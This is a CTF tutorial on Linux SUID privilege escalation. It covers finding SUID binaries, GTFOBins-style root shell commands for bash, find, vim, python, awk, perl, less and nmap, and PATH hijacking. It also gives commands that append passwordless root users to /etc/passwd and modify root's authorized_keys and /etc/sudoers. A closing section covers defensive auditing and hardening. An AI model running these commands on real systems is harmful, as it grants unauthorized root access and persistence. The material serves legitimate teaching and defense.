Linux SUID Privilege Escalation Tutorial for CTF

Photo by Lukas Blazek on Pexels

After getting an initial shell on a Linux CTF machine, the next question is almost always: can I escalate to root? SUID binaries are one of the most common and reliable paths. The technique is conceptually simple — find a binary that runs as root, figure out if it can be tricked into running your commands, run them. What varies is which binary is present and how its specific exploitation works.

How SUID Works

Reading SUID in ls output

The lowercase s in the owner execute position is the SUID indicator. When you see it on a root-owned binary, that binary runs as root regardless of who executes it. The passwd command is a legitimate example — it needs root to write to /etc/shadow even when run by an unprivileged user.

Verify SUID with stat

stat /usr/bin/passwd
# Look for: Access: (4755/-rwsr-xr-x)  Uid: (    0/    root)
# 4755 = octal: 4 = SUID bit, 755 = rwxr-xr-x

Finding SUID Binaries

find / -perm -u=s -type f 2>/dev/null

Alternate syntax (same result):

find / -perm /4000 -type f 2>/dev/null

Pipe through a quick compare against known-standard SUID binaries to isolate unusual entries:

find / -perm -u=s -type f 2>/dev/null | grep -v -E "/(bin|sbin|usr/bin|usr/sbin)/(passwd|sudo|su|mount|umount|ping|newgrp|chfn|chsh|gpasswd|pkexec|polkit)"

GTFOBins Reference

GTFOBins (gtfobins.github.io) is the definitive reference for exploiting SUID binaries. For each binary, it documents the exact command to run when that binary has the SUID bit set. The workflow: find an unexpected binary in your SUID list → check GTFOBins under “SUID” filter → copy the command → adapt IP/path → run.

bash

/bin/bash -p

bash-5.1# whoami
root

# Verify: shows your effective UID as root
id
# uid=1000(user) gid=1000(user) euid=0(root) groups=...

find

find . -exec /bin/sh -p \; -quit

find . -execdir /bin/sh -p \; -quit

# Add a root user to /etc/passwd
find . -exec bash -c "echo 'hacker:\$1\$salt\$hash:0:0:root:/root:/bin/bash' >> /etc/passwd" \;

vim / vi

vim -c ':!/bin/sh'

:set shell=/bin/sh
:shell

vim /etc/shadow
# or from inside vim:
:e /etc/shadow

python / python3

python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'

python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

python3 -c 'open("/etc/passwd","a").write("hacker::0:0::/root:/bin/bash")'

env

env /bin/sh -p

awk

awk 'BEGIN {system("/bin/sh -p")}'

perl

perl -e 'exec "/bin/sh -p"'

less / more

# Open any file with less
less /etc/passwd
# Inside less, type:
!/bin/sh

# more variant
more /etc/passwd
# Inside more, type:
!/bin/sh

less /etc/profile
# type: !/bin/sh

cp and tee — File Write Exploits

Some SUID binaries don’t give a direct shell but can write files as root. This enables privilege escalation through /etc/passwd, /etc/sudoers, or SSH authorized_keys:

# Step 1: copy /etc/passwd locally, add a root user
cp /etc/passwd /tmp/passwd_bak
echo "hacker::0:0::/root:/bin/bash" >> /tmp/passwd_bak

# Step 2: overwrite /etc/passwd with SUID cp
cp /tmp/passwd_bak /etc/passwd

# Step 3: switch to the new root account (no password)
su hacker

# Write your public key to root's authorized_keys
cat ~/.ssh/id_rsa.pub | tee /root/.ssh/authorized_keys

# Add entry to /etc/sudoers
echo "user ALL=(ALL) NOPASSWD: ALL" | tee -a /etc/sudoers

nmap (legacy)

nmap --version
# Only works if version is 2.02 to 5.21

# Interactive mode (nmap 2.02–5.21 only)
nmap --interactive
nmap> !sh

echo 'os.execute("/bin/sh")' > /tmp/shell.nse
nmap --script=/tmp/shell.nse

Custom SUID Binaries

CTF machines sometimes include custom SUID binaries — compiled programs written specifically for the challenge. These don’t appear in GTFOBins and require analysis. Starting points:

# Check what strings are embedded in the binary
strings /path/to/suid_binary

# Check what shared libraries it uses
ldd /path/to/suid_binary

# Check what system calls it makes (run as current user)
strace /path/to/suid_binary 2>&1

# Check library calls
ltrace /path/to/suid_binary 2>&1

# Check what files it accesses
strace -e trace=file /path/to/suid_binary 2>&1

Common vulnerabilities in custom SUID binaries:

• Using system() with relative paths — if the binary calls system("cat /etc/passwd") using the full path it’s safe, but system("cat") with a relative path is exploitable by PATH manipulation
• PATH hijacking — if the binary calls a command without a full path, place your own version of that command earlier in PATH and the SUID binary will execute it as root
• Writable shared library — if ldd shows a library that’s world-writable, replace it with a malicious version

# Binary calls: system("cat file.txt") -- 'cat' without full path

# Create malicious 'cat' that spawns a shell
mkdir /tmp/evil
echo '/bin/bash -p' > /tmp/evil/cat
chmod +x /tmp/evil/cat

# Prepend to PATH and run the SUID binary
PATH=/tmp/evil:$PATH /path/to/suid_binary

Defensive Context

Audit SUID binaries regularly: The same find command used for discovery is the right tool for baseline auditing. Running find / -perm -u=s -type f 2>/dev/null and comparing the output against a known-good baseline is a standard hardening check. Any SUID binary not in the baseline is worth investigating. Tools like Lynis and CIS benchmarks include SUID audits as standard checks.

Remove unnecessary SUID bits: The principle of least privilege applies to SUID. If a binary doesn’t need to run as root, remove the SUID bit: chmod u-s /path/to/binary. Many SUID bits that were set historically for system functionality are no longer necessary on modern kernels. ping, for example, no longer requires SUID on kernels that support CAP_NET_RAW capabilities.

Linux capabilities as an alternative to SUID: Modern Linux systems use capabilities to grant specific elevated privileges to binaries rather than full root SUID. CAP_NET_RAW for ping, CAP_SETUID for user management tools. This is preferable to SUID — a capability grants only the specific elevated action needed, not full root effective UID. Check capability assignments with getcap -r / 2>/dev/null — misconfigured capabilities are also a privesc vector.

Mount options: nosuid as a mount option on non-system partitions (/tmp, /home, external mounts) prevents SUID execution from those locations. This stops an attacker who can write a file to those locations from installing their own SUID binary. /tmp is world-writable and particularly worth protecting — nosuid on /tmp is a common hardening measure.

Frequently Asked Questions